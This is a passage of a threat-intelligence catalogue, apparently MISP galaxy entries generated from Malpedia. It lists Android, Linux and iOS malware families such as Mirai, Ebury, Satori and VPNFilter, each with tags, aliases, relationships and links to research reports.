http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/
http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html
http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html
http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html
https://www.govcert.admin.ch/blog/33/the-retefe-saga
http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html

Roaming Mantis

The tag is: *misp-galaxy:malpedia="Roaming Mantis"*

Roaming Mantis is also known as:

Roaming Mantis has relationships with:

- similar: misp-galaxy:tool="Roaming Mantis" with estimative-language:likelihood-probability="likely"

Table 623. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis
https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/
https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/

Rootnik

The tag is: *misp-galaxy:malpedia="Rootnik"*

Rootnik is also known as:

Rootnik has relationships with:

- similar: misp-galaxy:android="Rootnik" with estimative-language:likelihood-probability="likely"

Table 624. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik
https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer
https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java

Skygofree

The tag is: *misp-galaxy:malpedia="Skygofree"*

Skygofree is also known as:

Skygofree has relationships with:

- similar: misp-galaxy:android="Skygofree" with estimative-language:likelihood-probability="likely"

Table 625. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.skygofree
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/
https://cdn.securelist.com/files/2018/01/Skygofree_appendix_eng.pdf

Slempo

The tag is: *misp-galaxy:malpedia="Slempo"*

Slempo is also known as:

- SlemBunk

Slempo has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"

Table 626. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo

https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html
https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html

Slocker

The tag is: *misp-galaxy:malpedia="Slocker"*

Slocker is also known as:

Table 627. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker
https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/

SMSspy

The tag is: *misp-galaxy:malpedia="SMSspy"*

SMSspy is also known as:

Table 628. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsspy

SpyBanker

The tag is: *misp-galaxy:malpedia="SpyBanker"*

SpyBanker is also known as:

SpyBanker has relationships with:

- similar: misp-galaxy:malpedia="Connic" with estimative-language:likelihood-probability="likely"

Table 629. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker
https://news.drweb.com/show/?i=11104&lng=en
http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/

SpyNote

The tag is: *misp-galaxy:malpedia="SpyNote"*

SpyNote is also known as:

SpyNote has relationships with:

- similar: misp-galaxy:rat="SpyNote" with estimative-language:likelihood-probability="likely"

Table 630. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr

StealthAgent

The tag is: *misp-galaxy:malpedia="StealthAgent"*

StealthAgent is also known as:

Table 631. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthagent
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Stealth Mango

The tag is: *misp-galaxy:malpedia="Stealth Mango"*

Stealth Mango is also known as:

Table 632. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthmango
https://www.lookout.com/info/stealth-mango-report-ty

Svpeng

The tag is: *misp-galaxy:malpedia="Svpeng"*

Svpeng is also known as:

Svpeng has relationships with:

- similar: misp-galaxy:tool="Svpeng" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Svpeng" with estimative-language:likelihood-probability="likely"

Table 633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.svpeng
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/

Switcher

The tag is: *misp-galaxy:malpedia="Switcher"*

Switcher is also known as:

Switcher has relationships with:

- similar: misp-galaxy:android="Switcher" with estimative-language:likelihood-probability="likely"

Table 634. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.switcher
https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/

TeleRAT

The tag is: *misp-galaxy:malpedia="TeleRAT"*

TeleRAT is also known as:

Table 635. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.telerat
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

TemptingCedar Spyware

The tag is: *misp-galaxy:malpedia="TemptingCedar Spyware"*

TemptingCedar Spyware is also known as:

Table 636. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tempting_cedar

https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware

TinyZ

The tag is: *misp-galaxy:malpedia="TinyZ"*

TinyZ is also known as:

- Catelites Android Bot
- MarsElite Android Bot

Table 637. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tinyz
http://blog.group-ib.com/cron

Titan

The tag is: *misp-galaxy:malpedia="Titan"*

Titan is also known as:

Table 638. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan
https://blog.lookout.com/titan-mobile-threat
https://www.alienvault.com/blogs/labs-research/delivery-keyboy

Triada

The tag is: *misp-galaxy:malpedia="Triada"*

Triada is also known as:

Table 639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada
https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/
http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html
https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/
https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/
https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/

Unidentified APK 001

The tag is: *misp-galaxy:malpedia="Unidentified APK 001"*

Unidentified APK 001 is also known as:

Table 640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_001
https://twitter.com/illegalFawn/status/826775250583035904

Unidentified APK 002

The tag is: *misp-galaxy:malpedia="Unidentified APK 002"*

Unidentified APK 002 is also known as:

Table 641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_002

Viper RAT

The tag is: *misp-galaxy:malpedia="Viper RAT"*

Viper RAT is also known as:

Table 642. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat
https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/
https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/

WireX

The tag is: *misp-galaxy:malpedia="WireX"*

WireX is also known as:

Table 643. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex
https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/
https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/

Xbot

The tag is: *misp-galaxy:malpedia="Xbot"*

Xbot is also known as:

Xbot has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-tool="Xbot - MOB-S0014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"

Table 644. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot
https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/
https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/

XRat

The tag is: *misp-galaxy:malpedia="XRat"*

XRat is also known as:

Table 645. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat
https://blog.lookout.com/xrat-mobile-threat

ZooPark

The tag is: *misp-galaxy:malpedia="ZooPark"*

ZooPark is also known as:

Table 646. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark
https://securelist.com/whos-who-in-the-zoo/85394

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf

Ztorg

The tag is: *misp-galaxy:malpedia="Ztorg"*

Ztorg is also known as:

- Qysly

Table 647. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg
https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1
http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2
https://securelist.com/ztorg-from-rooting-to-sms/78775/

Irc16

The tag is: *misp-galaxy:malpedia="Irc16"*

Irc16 is also known as:

Table 648. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoor_irc16
https://news.drweb.com/show/?c=5&i=10193&lng=en

Bashlite

The tag is: *misp-galaxy:malpedia="Bashlite"*

Bashlite is also known as:

- gayfgt
- Gafgyt
- qbot
- torlus
- lizkebab

Bashlite has relationships with:

- similar: misp-galaxy:tool="Gafgyt" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:botnet="Gafgyt" with estimative-language:likelihood-probability="likely"

Table 649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/
https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf

CDorked

This is in the same family as eBury, Calfbot, and is also likely related to DarkLeech

The tag is: *misp-galaxy:malpedia="CDorked"*

CDorked is also known as:

- CDorked.A

Table 650. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked
https://www.symantec.com/security-center/writeup/2013-050214-5501-99
https://blogs.cisco.com/security/linuxcdorked-faqs
https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html

Chapro

The tag is: *misp-galaxy:malpedia="Chapro"*

Chapro is also known as:

Table 651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro
http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html
http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a

Cpuminer

This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.

The tag is: *misp-galaxy:malpedia="Cpuminer"*

Cpuminer is also known as:

Table 652. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer
https://github.com/pooler/cpuminer

Ebury

This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.

This family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.

The tag is: *misp-galaxy:malpedia="Ebury"*

Ebury is also known as:

Table 653. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury
https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy
https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/
https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/

Erebus

The tag is: *misp-galaxy:malpedia="Erebus"*

Erebus is also known as:

Erebus has relationships with:

- similar: misp-galaxy:rat="Erebus" with estimative-language:likelihood-probability="likely"

Table 654. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.erebus
https://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/

ext4

The tag is: *misp-galaxy:malpedia="ext4"*

ext4 is also known as:

Table 655. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ext4
https://www.recordedfuture.com/chinese-cyberespionage-operations/

Hajime

The tag is: *misp-galaxy:malpedia="Hajime"*

Hajime is also known as:

Hajime has relationships with:

- similar: misp-galaxy:botnet="Hajime" with estimative-language:likelihood-probability="likely"

Table 656. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime
https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf
https://x86.re/blog/hajime-a-follow-up/
http://blog.netlab.360.com/hajime-status-report-en/
https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things
https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461
https://blog.netlab.360.com/quick-summary-port-8291-scan-en/
https://github.com/Psychotropos/hajime_hashes

Hakai

The tag is: *misp-galaxy:malpedia="Hakai"*

Hakai is also known as:

Table 657. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hakai
https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/

Hide and Seek

The tag is: *misp-galaxy:malpedia="Hide and Seek"*

Hide and Seek is also known as:

- HNS

Hide and Seek has relationships with:

- similar: misp-galaxy:botnet="Hide and Seek" with estimative-language:likelihood-probability="likely"

Table 658. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek
https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/
https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/
https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/
https://www.bleepingcomputer.com/news/security/hns-evolves-from-iot-to-cross-platform-botnet/
https://blog.netlab.360.com/hns-botnet-recent-activities-en/

IoT Reaper

The tag is: *misp-galaxy:malpedia="IoT Reaper"*

IoT Reaper is also known as:

- IoTroop
- Reaper

Table 659. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper
https://research.checkpoint.com/new-iot-botnet-storm-coming/

http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/
https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm
https://embedi.com/blog/grim-iot-reaper-1-and-0-day-vulnerabilities-at-the-service-of-botnets/

JenX

The tag is: *misp-galaxy:malpedia="JenX"*

JenX is also known as:

Table 660. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.jenx
https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/

Kaiten

The tag is: *misp-galaxy:malpedia="Kaiten"*

Kaiten is also known as:

- STD

Table 661. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten
https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf

Lady

The tag is: *misp-galaxy:malpedia="Lady"*

Lady is also known as:

Table 662. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lady
https://news.drweb.com/news/?i=10140&lng=en

MiKey

The tag is: *misp-galaxy:malpedia="MiKey"*

MiKey is also known as:

Table 663. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey
http://www.morphick.com/resources/lab-blog/mikey-linux-keylogger

Mirai

The tag is: *misp-galaxy:malpedia="Mirai"*

Mirai is also known as:

Mirai has relationships with:

- similar: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"

Table 664. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/
http://osint.bambenekconsulting.com/feeds/
https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf
https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/
https://isc.sans.edu/diary/22786
https://github.com/jgamblin/Mirai-Source-Code
http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/

Mokes

The tag is: *misp-galaxy:malpedia="Mokes"*

Mokes is also known as:

Table 665. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mokes

https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/

Moose

The tag is: *misp-galaxy:malpedia="Moose"*

Moose is also known as:

Table 666. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.moose
http://www.welivesecurity.com/2015/05/26/moose-router-worm/
http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/
http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/

MrBlack

The tag is: *misp-galaxy:malpedia="MrBlack"*

MrBlack is also known as:

Table 667. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack
https://news.drweb.com/?i=5760&c=23&lng=en

Owari

Mirai variant by actor "Anarchy" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices.

The tag is: *misp-galaxy:malpedia="Owari"*

Owari is also known as:

Owari has relationships with:

- similar: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"

Table 668. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari

https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/
https://twitter.com/ankit_anubhav/status/1019647993547550720
https://twitter.com/360Netlab/status/1019759516789821441
https://twitter.com/hrbrmstr/status/1019922651203227653
https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html
https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/

Penquin Turla

The tag is: *misp-galaxy:malpedia="Penquin Turla"*

Penquin Turla is also known as:

Table 669. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf
https://twitter.com/juanandres_gs/status/944741575837528064

Persirai

The tag is: *misp-galaxy:malpedia="Persirai"*

Persirai is also known as:

Persirai has relationships with:

- similar: misp-galaxy:botnet="Persirai" with estimative-language:likelihood-probability="likely"

Table 670. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

r2r2

The tag is: *misp-galaxy:malpedia="r2r2"* r2r2 is also known as:

Table 671. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.r2r2
https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/

Rakos

The tag is: *misp-galaxy:malpedia="Rakos"*

Rakos is also known as:

Table 672. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rakos
http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/

Rex

The tag is: *misp-galaxy:malpedia="Rex"*

Rex is also known as:

Table 673. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rex
https://thisissecurity.net/2016/10/28/octopus-rex-evolution-of-a-multi-task-botnet/
https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/

Satori

Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).

The tag is: *misp-galaxy:malpedia="Satori"*

Satori is also known as:

Satori has relationships with:

- similar: misp-galaxy:tool="Satori" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Satori" with estimative-language:likelihood-probability="likely"

Table 674. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori
http://blog.netlab.360.com/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/
http://www.eweek.com/security/collaborative-takedown-kills-iot-worm-satori
http://blog.netlab.360.com/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/
https://www.arbornetworks.com/blog/asert/the-arc-of-satori/
https://blog.radware.com/security/botnets/2018/02/new-satori-botnet-variant-enslaves-thousands-dasan-wifi-routers/
https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/

ShellBind

The tag is: *misp-galaxy:malpedia="ShellBind"*

ShellBind is also known as:

Table 675. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind
http://blog.trendmicro.com/trendlabs-security-intelligence/linux-users-urged-update-new-threat-exploits-sambacry

Shishiga

The tag is: *misp-galaxy:malpedia="Shishiga"*

Shishiga is also known as:

Table 676. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shishiga
https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/

Spamtorte

The tag is: *misp-galaxy:malpedia="Spamtorte"*

Spamtorte is also known as:

Table 677. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.spamtorte
http://cyber.verint.com/resource/spamtorte-v2-investigating-a-multi-layered-spam-botnet/

SSHDoor

The tag is: *misp-galaxy:malpedia="SSHDoor"*

SSHDoor is also known as:

SSHDoor has relationships with:

- similar: misp-galaxy:tool="SSHDoor" with estimative-language:likelihood-probability="likely"

Table 678. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdoor
http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html

Stantinko

The tag is: *misp-galaxy:malpedia="Stantinko"*

Stantinko is also known as:

Table 679. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko
https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/

Torii

The tag is: *misp-galaxy:malpedia="Torii"*

Torii is also known as:

Torii has relationships with:

- similar: misp-galaxy:botnet="Torii" with estimative-language:likelihood-probability="likely"

Table 680. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.torii
https://blog.avast.com/new-torii-botnet-threat-research

Trump Bot

The tag is: *misp-galaxy:malpedia="Trump Bot"*

Trump Bot is also known as:

Table 681. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot
http://paper.seebug.org/345/

Tsunami

The tag is: *misp-galaxy:malpedia="Tsunami"*

Tsunami is also known as:

- Amnesia
- Radiation

Table 682. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami
https://www.8ackprotect.com/blog/big_brother_is_attacking_you
http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
http://get.cyberx-labs.com/radiation-report

Turla RAT

The tag is: *misp-galaxy:malpedia="Turla RAT"*

Turla RAT is also known as:

Table 683. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat

Umbreon

The tag is: *misp-galaxy:malpedia="Umbreon"*

Umbreon is also known as:

- Espeon

Umbreon has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Umbreon - S0221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Umbreon" with estimative-language:likelihood-probability="likely"

Table 684. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.umbreon
http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/
http://contagiodump.blogspot.com/2018/03/rootkit-umbreon-umreon-x86-arm-samples.html

elf.vpnfilter

The tag is: *misp-galaxy:malpedia="elf.vpnfilter"*

elf.vpnfilter is also known as:

Table 685. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1
https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/
https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities
https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-VPN-Filter-analysis-v2.pdf?la=en
https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware

elf.wellmess

The tag is: *misp-galaxy:malpedia="elf.wellmess"*

elf.wellmess is also known as:

Table 686. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess

Wirenet

The tag is: *misp-galaxy:malpedia="Wirenet"*

Wirenet is also known as:

Table 687. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html
https://news.drweb.com/show/?i=2679&lng=en&c=14

X-Agent

The tag is: *misp-galaxy:malpedia="X-Agent"*

X-Agent is also known as:

- splm
- chopstick
- fysbis

X-Agent has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"

Table 688. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Xaynnalc

The tag is: *misp-galaxy:malpedia="Xaynnalc"*

Xaynnalc is also known as:

Table 689. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc
https://twitter.com/michalmalik/status/846368624147353601

XOR DDoS

Linux DDoS C&C Malware

The tag is: *misp-galaxy:malpedia="XOR DDoS"*

XOR DDoS is also known as:

Table 690. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos
https://en.wikipedia.org/wiki/Xor_DDoS
https://www.cdnetworks.com/resources/whitepapers/sg/Whitepaper23.pdf
https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html

Zollard

The tag is: *misp-galaxy:malpedia="Zollard"*

Zollard is also known as:

- darlloz

Table 691. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard
https://blogs.cisco.com/security/the-internet-of-everything-including-malware

DualToy

The tag is: *misp-galaxy:malpedia="DualToy"*

DualToy is also known as:

DualToy has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="DualToy - MOB-S0031" with estimative-language:likelihood-probability="likely"

Table 692. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy
http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

GuiInject

The tag is: *misp-galaxy:malpedia="GuiInject"*

GuiInject is also known as:

Table 693. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject
https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/

WireLurker

The iOS malware that is installed over USB by osx.wirelurker

The tag is: *misp-galaxy:malpedia="WireLurker"*

WireLurker is also known as:

WireLurker has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="WireLurker - MOB-S0028" with estimative-language:likelihood-probability="likely"

Table 694. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.wirelurker
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

AdWind

Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality - collect general system and user information - terminate process -log keystroke -take screenshot and access webcam - steal cache password from local or web forms - download and execute Malware -

modify registry - download components - Denial of Service attacks - Acquire VPN certificates

